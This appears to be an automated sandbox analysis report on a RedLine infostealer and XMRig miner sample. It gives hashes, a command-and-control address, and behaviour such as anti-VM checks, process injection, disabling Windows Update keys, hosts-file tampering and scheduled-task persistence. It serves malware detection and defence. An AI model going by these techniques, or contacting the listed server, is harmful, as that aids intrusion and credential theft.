redline | 75c3eec8fb73808a164306423f673479d794c8d34a7cf55ae38d63623201d831

Analysis

max time kernel
300s
max time network
301s
platform
windows10-1703_x64
resource
win10-20220812-en
resource tags

arch:x64arch:x86image:win10-20220812-enlocale:en-usos:windows10-1703-x64system
submitted
22-10-2022 22:17

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

75c3eec8fb73808a164306423f673479d794c8d34a7cf55ae38d63623201d831.exe
Size

344KB
MD5

3690cf078a73caed866daa16b8736379
SHA1

e3b003bb6b7cd55934db7adeb8fe7637d3551585
SHA256

75c3eec8fb73808a164306423f673479d794c8d34a7cf55ae38d63623201d831
SHA512

d7aa02e12541693abce188a34076fb415ec362fecae72b57702be69651645e75cdd5d59d255317c868ccd3f0b8dd387a19493bebefcb6bdb43be50ef5bf35f5b
SSDEEP

6144:/q6LFGh9VpSaYmn9EqgJ/kv4yuoohDR8rxws7VtXLcBFlpSLMCo:/nwnu4Eqkyuoo/iruBFlJ

Score

10^/10

redline xmrig 875784825 evasion infostealer miner spyware themida trojan upx

Malware Config

Extracted

Family

redline

Botnet

875784825

79.137.192.6:8362

Signatures

Modifies security service 2 TTPs 5 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

reg.exe

description	ioc	process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 2 IoCs

Processes:

resource	yara_rule
behavioral2/memory/106148-365-0x000000000041972E-mapping.dmp	family_redline
behavioral2/memory/106148-457-0x0000000000400000-0x000000000041E000-memory.dmp	family_redline

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 4 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

Processes:

setup.exesetup12.exeupdater.exeMoUSO.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	setup.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	setup12.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	updater.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	MoUSO.exe

XMRig Miner payload 2 IoCs

miner

Processes:

resource	yara_rule
behavioral2/memory/8060-1328-0x00007FF76EE40000-0x00007FF76F634000-memory.dmp	xmrig
behavioral2/memory/8060-1329-0x00007FF76EE40000-0x00007FF76F634000-memory.dmp	xmrig

Downloads MZ/PE file
Drops file in Drivers directory 2 IoCs

Processes:

setup.exeupdater.exe

description ioc process

File created C:\Windows\system32\drivers\etc\hosts setup.exe
File created C:\Windows\system32\drivers\etc\hosts updater.exe
Executes dropped EXE 6 IoCs

Processes:

setup.exesetup12.exesetup1232.exewatchdog.exeupdater.exeMoUSO.exe

pid process

2384 setup.exe
2820 setup12.exe
3472 setup1232.exe
3168 watchdog.exe
4804 updater.exe
6544 MoUSO.exe
Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

description	ioc	process
File created	C:\Windows\system32\drivers\etc\hosts	setup.exe
File created	C:\Windows\system32\drivers\etc\hosts	updater.exe

pid	process
2384	setup.exe
2820	setup12.exe
3472	setup1232.exe
3168	watchdog.exe
4804	updater.exe
6544	MoUSO.exe

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral2/memory/8060-1328-0x00007FF76EE40000-0x00007FF76F634000-memory.dmp	upx
behavioral2/memory/8060-1329-0x00007FF76EE40000-0x00007FF76F634000-memory.dmp	upx

Checks BIOS information in registry 2 TTPs 8 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

updater.exeMoUSO.exesetup.exesetup12.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	updater.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	MoUSO.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	MoUSO.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	setup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	setup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	setup12.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	setup12.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	updater.exe

Identifies Wine through registry keys 2 TTPs 2 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

Processes:

MoUSO.exesetup12.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-2482096546-1136599444-1359412500-1000\Software\Wine	MoUSO.exe
Key opened	\REGISTRY\USER\S-1-5-21-2482096546-1136599444-1359412500-1000\Software\Wine	setup12.exe

Themida packer 16 IoCs

Detects Themida, an advanced Windows software protection system.

themida

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\setup.exe	themida
behavioral2/memory/2384-128-0x00007FF7D2F80000-0x00007FF7D3C7A000-memory.dmp	themida
behavioral2/memory/2384-129-0x00007FF7D2F80000-0x00007FF7D3C7A000-memory.dmp	themida
behavioral2/memory/2384-131-0x00007FF7D2F80000-0x00007FF7D3C7A000-memory.dmp	themida
behavioral2/memory/2384-132-0x00007FF7D2F80000-0x00007FF7D3C7A000-memory.dmp	themida
behavioral2/memory/2384-133-0x00007FF7D2F80000-0x00007FF7D3C7A000-memory.dmp	themida
behavioral2/memory/2384-134-0x00007FF7D2F80000-0x00007FF7D3C7A000-memory.dmp	themida
behavioral2/memory/2384-135-0x00007FF7D2F80000-0x00007FF7D3C7A000-memory.dmp	themida
behavioral2/memory/2384-138-0x00007FF7D2F80000-0x00007FF7D3C7A000-memory.dmp	themida
C:\Users\Admin\AppData\Local\Temp\setup.exe	themida
behavioral2/memory/2384-354-0x00007FF7D2F80000-0x00007FF7D3C7A000-memory.dmp	themida
C:\Program Files\Google\Chrome\updater.exe	themida
behavioral2/memory/4804-487-0x00007FF7D7AD0000-0x00007FF7D87CA000-memory.dmp	themida
behavioral2/memory/4804-562-0x00007FF7D7AD0000-0x00007FF7D87CA000-memory.dmp	themida
C:\Program Files\Google\Chrome\updater.exe	themida
behavioral2/memory/4804-1326-0x00007FF7D7AD0000-0x00007FF7D87CA000-memory.dmp	themida

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Checks whether UAC is enabled 1 TTPs 2 IoCs

evasion trojan

System Information Discovery

T1082

Processes:

updater.exesetup.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	updater.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	setup.exe

Drops file in System32 directory 3 IoCs

Processes:

powershell.exepowershell.exe

description	ioc	process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs

Processes:

setup.exesetup12.exeupdater.exeMoUSO.exe

pid process

2384 setup.exe
2820 setup12.exe
4804 updater.exe
6544 MoUSO.exe

pid	process
2384	setup.exe
2820	setup12.exe
4804	updater.exe
6544	MoUSO.exe

Suspicious use of SetThreadContext 5 IoCs

Processes:

75c3eec8fb73808a164306423f673479d794c8d34a7cf55ae38d63623201d831.exewatchdog.exesetup1232.exeupdater.exe

description	pid	process	target process
PID 1680 set thread context of 1804	1680	75c3eec8fb73808a164306423f673479d794c8d34a7cf55ae38d63623201d831.exe	RegSvcs.exe
PID 3168 set thread context of 106148	3168	watchdog.exe	vbc.exe
PID 3472 set thread context of 106448	3472	setup1232.exe	MSBuild.exe
PID 4804 set thread context of 7912	4804	updater.exe	conhost.exe
PID 4804 set thread context of 8060	4804	updater.exe	conhost.exe

Drops file in Program Files directory 4 IoCs

Processes:

setup.exeupdater.execmd.execmd.exe

description	ioc	process
File created	C:\Program Files\Google\Chrome\updater.exe	setup.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid process

5964 sc.exe
1904 sc.exe
4048 sc.exe
3824 sc.exe
4672 sc.exe
4556 sc.exe
5892 sc.exe
5860 sc.exe
6024 sc.exe
6036 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

2592 schtasks.exe

pid	process
5964	sc.exe
1904	sc.exe
4048	sc.exe
3824	sc.exe
4672	sc.exe
4556	sc.exe
5892	sc.exe
5860	sc.exe
6024	sc.exe
6036	sc.exe

pid	process
2592	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.exepowershell.exeWMIC.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exesetup12.exepowershell.exepowershell.exevbc.exepowershell.exepowershell.exeMoUSO.exe

pid	process
3484	powershell.exe
3484	powershell.exe
3484	powershell.exe
2820	setup12.exe
2820	setup12.exe
4068	powershell.exe
4068	powershell.exe
4068	powershell.exe
106112	powershell.exe
106112	powershell.exe
106112	powershell.exe
106148	vbc.exe
4260	powershell.exe
4260	powershell.exe
4260	powershell.exe
106148	vbc.exe
5676	powershell.exe
5676	powershell.exe
5676	powershell.exe
6544	MoUSO.exe
6544	MoUSO.exe
6544	MoUSO.exe
6544	MoUSO.exe
6544	MoUSO.exe
6544	MoUSO.exe
6544	MoUSO.exe
6544	MoUSO.exe
6544	MoUSO.exe
6544	MoUSO.exe
6544	MoUSO.exe
6544	MoUSO.exe
6544	MoUSO.exe
6544	MoUSO.exe
6544	MoUSO.exe
6544	MoUSO.exe
6544	MoUSO.exe
6544	MoUSO.exe
6544	MoUSO.exe
6544	MoUSO.exe
6544	MoUSO.exe
6544	MoUSO.exe
6544	MoUSO.exe
6544	MoUSO.exe
6544	MoUSO.exe
6544	MoUSO.exe
6544	MoUSO.exe
6544	MoUSO.exe
6544	MoUSO.exe
6544	MoUSO.exe
6544	MoUSO.exe
6544	MoUSO.exe
6544	MoUSO.exe
6544	MoUSO.exe
6544	MoUSO.exe
6544	MoUSO.exe
6544	MoUSO.exe
6544	MoUSO.exe
6544	MoUSO.exe
6544	MoUSO.exe
6544	MoUSO.exe
6544	MoUSO.exe
6544	MoUSO.exe
6544	MoUSO.exe
6544	MoUSO.exe

Suspicious behavior: LoadsDriver 1 IoCs

Processes:

pid process

644

pid	process
644

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exepowershell.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exe

description	pid	process
Token: SeDebugPrivilege	3484	powershell.exe
Token: SeIncreaseQuotaPrivilege	3484	powershell.exe
Token: SeSecurityPrivilege	3484	powershell.exe
Token: SeTakeOwnershipPrivilege	3484	powershell.exe
Token: SeLoadDriverPrivilege	3484	powershell.exe
Token: SeSystemProfilePrivilege	3484	powershell.exe
Token: SeSystemtimePrivilege	3484	powershell.exe
Token: SeProfSingleProcessPrivilege	3484	powershell.exe
Token: SeIncBasePriorityPrivilege	3484	powershell.exe
Token: SeCreatePagefilePrivilege	3484	powershell.exe
Token: SeBackupPrivilege	3484	powershell.exe
Token: SeRestorePrivilege	3484	powershell.exe
Token: SeShutdownPrivilege	3484	powershell.exe
Token: SeDebugPrivilege	3484	powershell.exe
Token: SeSystemEnvironmentPrivilege	3484	powershell.exe
Token: SeRemoteShutdownPrivilege	3484	powershell.exe
Token: SeUndockPrivilege	3484	powershell.exe
Token: SeManageVolumePrivilege	3484	powershell.exe
Token: 33	3484	powershell.exe
Token: 34	3484	powershell.exe
Token: 35	3484	powershell.exe
Token: 36	3484	powershell.exe
Token: SeDebugPrivilege	4068	powershell.exe
Token: SeShutdownPrivilege	60	powercfg.exe
Token: SeCreatePagefilePrivilege	60	powercfg.exe
Token: SeShutdownPrivilege	4652	powercfg.exe
Token: SeCreatePagefilePrivilege	4652	powercfg.exe
Token: SeShutdownPrivilege	4512	powercfg.exe
Token: SeCreatePagefilePrivilege	4512	powercfg.exe
Token: SeShutdownPrivilege	4480	powercfg.exe
Token: SeCreatePagefilePrivilege	4480	powercfg.exe
Token: SeIncreaseQuotaPrivilege	4068	powershell.exe
Token: SeSecurityPrivilege	4068	powershell.exe
Token: SeTakeOwnershipPrivilege	4068	powershell.exe
Token: SeLoadDriverPrivilege	4068	powershell.exe
Token: SeSystemProfilePrivilege	4068	powershell.exe
Token: SeSystemtimePrivilege	4068	powershell.exe
Token: SeProfSingleProcessPrivilege	4068	powershell.exe
Token: SeIncBasePriorityPrivilege	4068	powershell.exe
Token: SeCreatePagefilePrivilege	4068	powershell.exe
Token: SeBackupPrivilege	4068	powershell.exe
Token: SeRestorePrivilege	4068	powershell.exe
Token: SeShutdownPrivilege	4068	powershell.exe
Token: SeDebugPrivilege	4068	powershell.exe
Token: SeSystemEnvironmentPrivilege	4068	powershell.exe
Token: SeRemoteShutdownPrivilege	4068	powershell.exe
Token: SeUndockPrivilege	4068	powershell.exe
Token: SeManageVolumePrivilege	4068	powershell.exe
Token: 33	4068	powershell.exe
Token: 34	4068	powershell.exe
Token: 35	4068	powershell.exe
Token: 36	4068	powershell.exe
Token: SeIncreaseQuotaPrivilege	4068	powershell.exe
Token: SeSecurityPrivilege	4068	powershell.exe
Token: SeTakeOwnershipPrivilege	4068	powershell.exe
Token: SeLoadDriverPrivilege	4068	powershell.exe
Token: SeSystemProfilePrivilege	4068	powershell.exe
Token: SeSystemtimePrivilege	4068	powershell.exe
Token: SeProfSingleProcessPrivilege	4068	powershell.exe
Token: SeIncBasePriorityPrivilege	4068	powershell.exe
Token: SeCreatePagefilePrivilege	4068	powershell.exe
Token: SeBackupPrivilege	4068	powershell.exe
Token: SeRestorePrivilege	4068	powershell.exe
Token: SeShutdownPrivilege	4068	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

75c3eec8fb73808a164306423f673479d794c8d34a7cf55ae38d63623201d831.exeRegSvcs.exesetup.execmd.execmd.exewatchdog.exe

description	pid	process	target process
PID 1680 wrote to memory of 1804	1680	75c3eec8fb73808a164306423f673479d794c8d34a7cf55ae38d63623201d831.exe	RegSvcs.exe
PID 1680 wrote to memory of 1804	1680	75c3eec8fb73808a164306423f673479d794c8d34a7cf55ae38d63623201d831.exe	RegSvcs.exe
PID 1680 wrote to memory of 1804	1680	75c3eec8fb73808a164306423f673479d794c8d34a7cf55ae38d63623201d831.exe	RegSvcs.exe
PID 1680 wrote to memory of 1804	1680	75c3eec8fb73808a164306423f673479d794c8d34a7cf55ae38d63623201d831.exe	RegSvcs.exe
PID 1680 wrote to memory of 1804	1680	75c3eec8fb73808a164306423f673479d794c8d34a7cf55ae38d63623201d831.exe	RegSvcs.exe
PID 1680 wrote to memory of 1804	1680	75c3eec8fb73808a164306423f673479d794c8d34a7cf55ae38d63623201d831.exe	RegSvcs.exe
PID 1680 wrote to memory of 1804	1680	75c3eec8fb73808a164306423f673479d794c8d34a7cf55ae38d63623201d831.exe	RegSvcs.exe
PID 1680 wrote to memory of 1804	1680	75c3eec8fb73808a164306423f673479d794c8d34a7cf55ae38d63623201d831.exe	RegSvcs.exe
PID 1680 wrote to memory of 1804	1680	75c3eec8fb73808a164306423f673479d794c8d34a7cf55ae38d63623201d831.exe	RegSvcs.exe
PID 1680 wrote to memory of 1804	1680	75c3eec8fb73808a164306423f673479d794c8d34a7cf55ae38d63623201d831.exe	RegSvcs.exe
PID 1680 wrote to memory of 1804	1680	75c3eec8fb73808a164306423f673479d794c8d34a7cf55ae38d63623201d831.exe	RegSvcs.exe
PID 1804 wrote to memory of 2384	1804	RegSvcs.exe	setup.exe
PID 1804 wrote to memory of 2384	1804	RegSvcs.exe	setup.exe
PID 1804 wrote to memory of 2820	1804	RegSvcs.exe	setup12.exe
PID 1804 wrote to memory of 2820	1804	RegSvcs.exe	setup12.exe
PID 1804 wrote to memory of 2820	1804	RegSvcs.exe	setup12.exe
PID 2384 wrote to memory of 3484	2384	setup.exe	powershell.exe
PID 2384 wrote to memory of 3484	2384	setup.exe	powershell.exe
PID 1804 wrote to memory of 3472	1804	RegSvcs.exe	setup1232.exe
PID 1804 wrote to memory of 3472	1804	RegSvcs.exe	setup1232.exe
PID 1804 wrote to memory of 3472	1804	RegSvcs.exe	setup1232.exe
PID 2384 wrote to memory of 3248	2384	setup.exe	cmd.exe
PID 2384 wrote to memory of 3248	2384	setup.exe	cmd.exe
PID 2384 wrote to memory of 4036	2384	setup.exe	cmd.exe
PID 2384 wrote to memory of 4036	2384	setup.exe	cmd.exe
PID 2384 wrote to memory of 4068	2384	setup.exe	powershell.exe
PID 2384 wrote to memory of 4068	2384	setup.exe	powershell.exe
PID 3248 wrote to memory of 1904	3248	cmd.exe	sc.exe
PID 3248 wrote to memory of 1904	3248	cmd.exe	sc.exe
PID 3248 wrote to memory of 4048	3248	cmd.exe	sc.exe
PID 3248 wrote to memory of 4048	3248	cmd.exe	sc.exe
PID 4036 wrote to memory of 60	4036	cmd.exe	powercfg.exe
PID 4036 wrote to memory of 60	4036	cmd.exe	powercfg.exe
PID 3248 wrote to memory of 3824	3248	cmd.exe	sc.exe
PID 3248 wrote to memory of 3824	3248	cmd.exe	sc.exe
PID 3248 wrote to memory of 4672	3248	cmd.exe	sc.exe
PID 3248 wrote to memory of 4672	3248	cmd.exe	sc.exe
PID 3248 wrote to memory of 4556	3248	cmd.exe	sc.exe
PID 3248 wrote to memory of 4556	3248	cmd.exe	sc.exe
PID 3248 wrote to memory of 4640	3248	cmd.exe	reg.exe
PID 3248 wrote to memory of 4640	3248	cmd.exe	reg.exe
PID 4036 wrote to memory of 4652	4036	cmd.exe	powercfg.exe
PID 4036 wrote to memory of 4652	4036	cmd.exe	powercfg.exe
PID 3248 wrote to memory of 4472	3248	cmd.exe	reg.exe
PID 4036 wrote to memory of 4512	4036	cmd.exe	powercfg.exe
PID 3248 wrote to memory of 4472	3248	cmd.exe	reg.exe
PID 4036 wrote to memory of 4512	4036	cmd.exe	powercfg.exe
PID 4036 wrote to memory of 4480	4036	cmd.exe	powercfg.exe
PID 4036 wrote to memory of 4480	4036	cmd.exe	powercfg.exe
PID 3248 wrote to memory of 4176	3248	cmd.exe	reg.exe
PID 3248 wrote to memory of 4176	3248	cmd.exe	reg.exe
PID 3248 wrote to memory of 836	3248	cmd.exe	reg.exe
PID 3248 wrote to memory of 836	3248	cmd.exe	reg.exe
PID 3248 wrote to memory of 660	3248	cmd.exe	reg.exe
PID 3248 wrote to memory of 660	3248	cmd.exe	reg.exe
PID 1804 wrote to memory of 3168	1804	RegSvcs.exe	watchdog.exe
PID 1804 wrote to memory of 3168	1804	RegSvcs.exe	watchdog.exe
PID 1804 wrote to memory of 3168	1804	RegSvcs.exe	watchdog.exe
PID 2384 wrote to memory of 106112	2384	setup.exe	powershell.exe
PID 2384 wrote to memory of 106112	2384	setup.exe	powershell.exe
PID 3168 wrote to memory of 106148	3168	watchdog.exe	vbc.exe
PID 3168 wrote to memory of 106148	3168	watchdog.exe	vbc.exe
PID 3168 wrote to memory of 106148	3168	watchdog.exe	vbc.exe
PID 3168 wrote to memory of 106148	3168	watchdog.exe	vbc.exe

C:\Users\Admin\AppData\Local\Temp\75c3eec8fb73808a164306423f673479d794c8d34a7cf55ae38d63623201d831.exe
"C:\Users\Admin\AppData\Local\Temp\75c3eec8fb73808a164306423f673479d794c8d34a7cf55ae38d63623201d831.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1680

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe
2⤵
- Suspicious use of WriteProcessMemory
PID:1804

C:\Users\Admin\AppData\Local\Temp\setup.exe
"C:\Users\Admin\AppData\Local\Temp\setup.exe"
3⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Drops file in Drivers directory
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:2384

